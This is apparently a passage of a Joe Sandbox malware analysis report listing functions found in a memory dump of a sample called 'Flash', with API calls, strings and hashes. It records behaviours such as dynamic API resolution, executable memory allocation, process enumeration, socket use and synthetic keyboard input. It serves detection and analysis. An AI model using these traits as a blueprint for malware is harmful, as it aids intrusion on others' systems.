Instruction Fuzzy Hash: 9521B032614118BFDF128F54DC85EBF37AAFB89771F018124FD00AB190D671AC559BA0

Function 00A4C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00A1027A,?), ref: 00A4C6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00A4C6F9

Strings

kernel32.dll, xrefs: 00A4C6E2
GetSystemWow64DirectoryW, xrefs: 00A4C6F3

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 42822b2de58ea5221fb3b7474479c58b480bb28cadcdf541079ccbdca2ae94c7
Instruction ID: 89a328798ae8da018a08c414af96e5b616b72c34ed776e01dd0888a07b459850
Opcode Fuzzy Hash: 42822b2de58ea5221fb3b7474479c58b480bb28cadcdf541079ccbdca2ae94c7
Instruction Fuzzy Hash: D4E0C23D511303AFD7209B6ACC48E5376E4FF04324B408829E989C2250D7B0CC808F20

Function 009E4BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,009E4AF7,?), ref: 009E4BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009E4BCA

Strings

kernel32.dll, xrefs: 009E4BB3
Wow64RevertWow64FsRedirection, xrefs: 009E4BC4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 54a93d9e716d4b1abb3f11f87f36457f1747fad6cc6b2c38dfeb32b6c446b7b5
Instruction ID: 43498bc3ba3d9e9096dcf707203621501d45361b42dbe72a4dacb4713ec0f547
Opcode Fuzzy Hash: 54a93d9e716d4b1abb3f11f87f36457f1747fad6cc6b2c38dfeb32b6c446b7b5
Instruction Fuzzy Hash: 18D017715107129FE7219F72DC08B0B76E9AF05351B199C6AD496D2554EAB0D8C0CA10

Function 009E4B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,009E4B44,?,009E49D4,?,?,009E27AF,?,00000001), ref: 009E4B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 009E4B97

Strings

kernel32.dll, xrefs: 009E4B80
Wow64DisableWow64FsRedirection, xrefs: 009E4B91

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 5fc6ac00dc7188ba964b2a1dc300bacc16e7008e24b4dec2176112d85223c50c
Instruction ID: dd968f670712782fe6e390e90f21657246d792df8a4d7880ccacd0cebc0f3985
Opcode Fuzzy Hash: 5fc6ac00dc7188ba964b2a1dc300bacc16e7008e24b4dec2176112d85223c50c
Instruction Fuzzy Hash: 50D017719107129FD7219F72DC18B0B7AE8AF05351F198C2AD496E2550E6B0E8C0DA10

Function 00A51447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00A51696), ref: 00A51455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00A51467

Strings

advapi32.dll, xrefs: 00A51450
RegDeleteKeyExW, xrefs: 00A51461

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 0d636e97e5935882dad3e57dc340e43a0fa9cb2782e9eba58c94253fa5c64c33
Instruction ID: 64d8ad64f802ec968ce88acbc207fef871ca60fccf70ce9a696e8d57d9a15ae8
Opcode Fuzzy Hash: 0d636e97e5935882dad3e57dc340e43a0fa9cb2782e9eba58c94253fa5c64c33
Instruction Fuzzy Hash: 1BD012705107129FD720AF75C848B5776F4BF06396B11CD2AD8D5D2550E6B0D4C1CB10

Function 009E55F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,009E5E3D), ref: 009E55FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 009E5610

Strings

kernel32.dll, xrefs: 009E55F9
GetNativeSystemInfo, xrefs: 009E560A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: e0d6ac207976d63efbaf066a97230083a80e2e43f2effc3dbf984cb79929615c
Instruction ID: 358f3d30cb87dfe3fcc2b99346141adecf8531f9a3f31bd7e47727795d43a43e
Opcode Fuzzy Hash: e0d6ac207976d63efbaf066a97230083a80e2e43f2effc3dbf984cb79929615c
Instruction Fuzzy Hash: FFD01775920B129FE7219F72C908A1B76F9AF05759B168C2AD48AD2191E6B0C8C0CA50

Function 00A497CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00A493DE,?,00A60980), ref: 00A497D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00A497EA

Strings

kernel32.dll, xrefs: 00A497D3
GetModuleHandleExW, xrefs: 00A497E4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 6a036fd013c45e02bbb22e1d292d5f99eaf603d7c04e88f1976b9038fcdcfcd6
Instruction ID: e783824b5748152a7ce97de209e836d51c7a7c676edd9840f74ead277847d1da
Opcode Fuzzy Hash: 6a036fd013c45e02bbb22e1d292d5f99eaf603d7c04e88f1976b9038fcdcfcd6
Instruction Fuzzy Hash: F7D017755207139FD7209F71D888A07B6E4BF09391B158C2AD486E2150EBB0C8C0CB11

Function 00A4E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00A4E7A7
CharLowerBuffW.USER32(?,?), ref: 00A4E7EA

Part of subcall function 00A4DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00A4DEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00A4E9EA
_memmove.LIBCMT ref: 00A4E9FD

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 0b82a3460c4cc2cd95c011cd66341dc0ee827148340085619fce69591b7014d5
Instruction ID: c9bc8aa7ba93ad44f45e5651255bb25b4f310aecd8cc569964e3c5fe5c6737a1
Opcode Fuzzy Hash: 0b82a3460c4cc2cd95c011cd66341dc0ee827148340085619fce69591b7014d5
Instruction Fuzzy Hash: 5FC15675A083418FC714DF28C480A6ABBE5FF89714F14896EF8999B352D731E946CB82

Function 00A4877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00A487AD
CoUninitialize.OLE32 ref: 00A487B8

Part of subcall function 00A5DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00A48A0E,?,00000000), ref: 00A5DF71

VariantInit.OLEAUT32(?), ref: 00A487C3
VariantClear.OLEAUT32(?), ref: 00A48A94

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: d521fdc4bbfdcdf8e1c30a95df6d72e1c553b69b60d4aaf5eb79ffe507053244
Instruction ID: a548c1683b2311c3c73dea56bf1b647edfe15fa08d3046810f3fac0ae174a6fd
Opcode Fuzzy Hash: d521fdc4bbfdcdf8e1c30a95df6d72e1c553b69b60d4aaf5eb79ffe507053244
Instruction Fuzzy Hash: C0A15739204B019FCB10DF64D485B2EB7E5BF88350F14885AF9869B3A2CB74ED44CB92

Function 00A2814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00A63C4C,?), ref: 00A28308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00A63C4C,?), ref: 00A28320
CLSIDFromProgID.OLE32(?,?,00000000,00A60988,000000FF,?,00000000,00000800,00000000,?,00A63C4C,?), ref: 00A28345
_memcmp.LIBCMT ref: 00A28366

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 96b388812584319c728762e6485c66a7e474c036d695c40958bd0b116e09b906
Instruction ID: 25922f830b3910ff5a45d5efb88e10ca1006be392f44f86e94180e282ce8eb6b
Opcode Fuzzy Hash: 96b388812584319c728762e6485c66a7e474c036d695c40958bd0b116e09b906
Instruction Fuzzy Hash: F3813971A00119EFCB04CFD8C888EEEB7B9FF89315B244568F515AB250DB75AE06CB60

Function 00A2749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A274AC
SysAllocString.OLEAUT32(00000000), ref: 00A27555
VariantCopy.OLEAUT32 ref: 00A27584
VariantClear.OLEAUT32(?), ref: 00A275AB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 610abbc451b620b1d168b3ee26d6d23081b6c805d7402603abaf729c9423458e
Instruction ID: 7fe36579e7ecb66b6d235dc52c85f734ded5278a86ace941c6c3565602545e09
Opcode Fuzzy Hash: 610abbc451b620b1d168b3ee26d6d23081b6c805d7402603abaf729c9423458e
Instruction Fuzzy Hash: F25197306087129BDB20AF7DE895B2DF7E5AF45310F30983FE556C76A1DB7099808B15

Function 00A4F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00A4F526
Process32FirstW.KERNEL32(00000000,?), ref: 00A4F534

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Process32NextW.KERNEL32(00000000,?), ref: 00A4F5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00A4F603

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 0d876042a09ddc8d4057c7f299f3ecf038f8ca6959dd7d2e602fedfc537a58f6
Instruction ID: c33959c94a85bb08e83803fdb5e478e3b31a804981916cd94d4f4987dc60ef91
Opcode Fuzzy Hash: 0d876042a09ddc8d4057c7f299f3ecf038f8ca6959dd7d2e602fedfc537a58f6
Instruction Fuzzy Hash: 355169B1104351AFD311EF64D886F6BB7E8EFD8710F10892EF595972A1EB70A904CB92

Function 009F492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009F49C0
__flush.LIBCMT ref: 009F49E0
__write.LIBCMT ref: 009F4A13
__flsbuf.LIBCMT ref: 009F4A41

Part of subcall function 009F8D58: __getptd_noexit.LIBCMT ref: 009F8D58

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 5dbdbff22f0d32eff6c3cc600405fe3600c489629796bbd3fd4338cbd4b8dc46
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: A441D83170070E9BDF28CF69C8809BF77A9AF84760B24853DEA55C7650DBB5DD908B44

Function 00A2A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00A2A68A
__itow.LIBCMT ref: 00A2A6BB

Part of subcall function 00A2A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00A2A976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00A2A724
__itow.LIBCMT ref: 00A2A77B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: f3736b2dc56286a67c000c421a71fe08d80ea8d4a873ccc025ad316ad48b450a
Instruction ID: 8e8882426a2bcbed8b6143da321535ea3781c3c7f6237cbe113b91eaaca04f0c
Opcode Fuzzy Hash: f3736b2dc56286a67c000c421a71fe08d80ea8d4a873ccc025ad316ad48b450a
Instruction Fuzzy Hash: C141B374A00258AFDF11EF59D846FEE7BB9EF94750F040029F905A3292DB709D84CBA2

Function 00A47095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00A470BC
WSAGetLastError.WSOCK32(00000000), ref: 00A470CC

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00A47130
WSAGetLastError.WSOCK32(00000000), ref: 00A4713C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 2f5b02042cb3762343ae2d33ef409f7fce11cfc4920183ddfb7cc5cc69347974
Instruction ID: c327fc6f25388c7a49bd68475225193b1d9d6a25308fd71e1e7ea94c018cf2a8
Opcode Fuzzy Hash: 2f5b02042cb3762343ae2d33ef409f7fce11cfc4920183ddfb7cc5cc69347974
Instruction Fuzzy Hash: 0541B1757802106FEB20AF68DC8AF2E77E59F84B10F04C559FA199B3D2DBB09D018B91

Function 00A46B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00A60980), ref: 00A46B92
_strlen.LIBCMT ref: 00A46BC4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 8e72e0b9fa22600866faf93278fd0aa3b96b3d4474b0ca4d64ea0c99c5803612
Instruction ID: 8a8651cd1282ae2adcc72593afdf703125c229ad089e8a70c4e85f8296d97b82
Opcode Fuzzy Hash: 8e72e0b9fa22600866faf93278fd0aa3b96b3d4474b0ca4d64ea0c99c5803612
Instruction Fuzzy Hash: B141C075600108AFCB14EBA4DDD1FAEB3B9EF95310F148155F81A9B292DB30AD41CB91

Function 00A58E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A58F03

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: e9623bef43ee675935e0924b09e7164d50e308b6870ab6d201fff00487fb84d2
Instruction ID: e8c084b9cb711bd516a2877711a7eccfce855128696ef615aa53cdfe439d338a
Opcode Fuzzy Hash: e9623bef43ee675935e0924b09e7164d50e308b6870ab6d201fff00487fb84d2
Instruction Fuzzy Hash: 2F31A034614108BEEB209B58CC46FAD37B6BB09312F144502FE11F62A1DFB9E99CCA51

Function 00A5B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00A5B1D2
GetWindowRect.USER32(?,?), ref: 00A5B248
PtInRect.USER32(?,?,00A5C6BC), ref: 00A5B258
MessageBeep.USER32(00000000), ref: 00A5B2C9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: dec4a091c0170a938d070e99b57dbe4812f879127df7d65413b2e76867c0815f
Instruction ID: e100be4b826155f25015dfc6bb573aab4e975077802f1aa6e3e2541f53251185
Opcode Fuzzy Hash: dec4a091c0170a938d070e99b57dbe4812f879127df7d65413b2e76867c0815f
Instruction Fuzzy Hash: E8417E70A24115DFCB11CF98C884AAD7BF5FF49313F1481A9E8189B255DB30A88ACFB0

Function 00A312D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00A31326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00A31342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00A313A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00A313FA

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
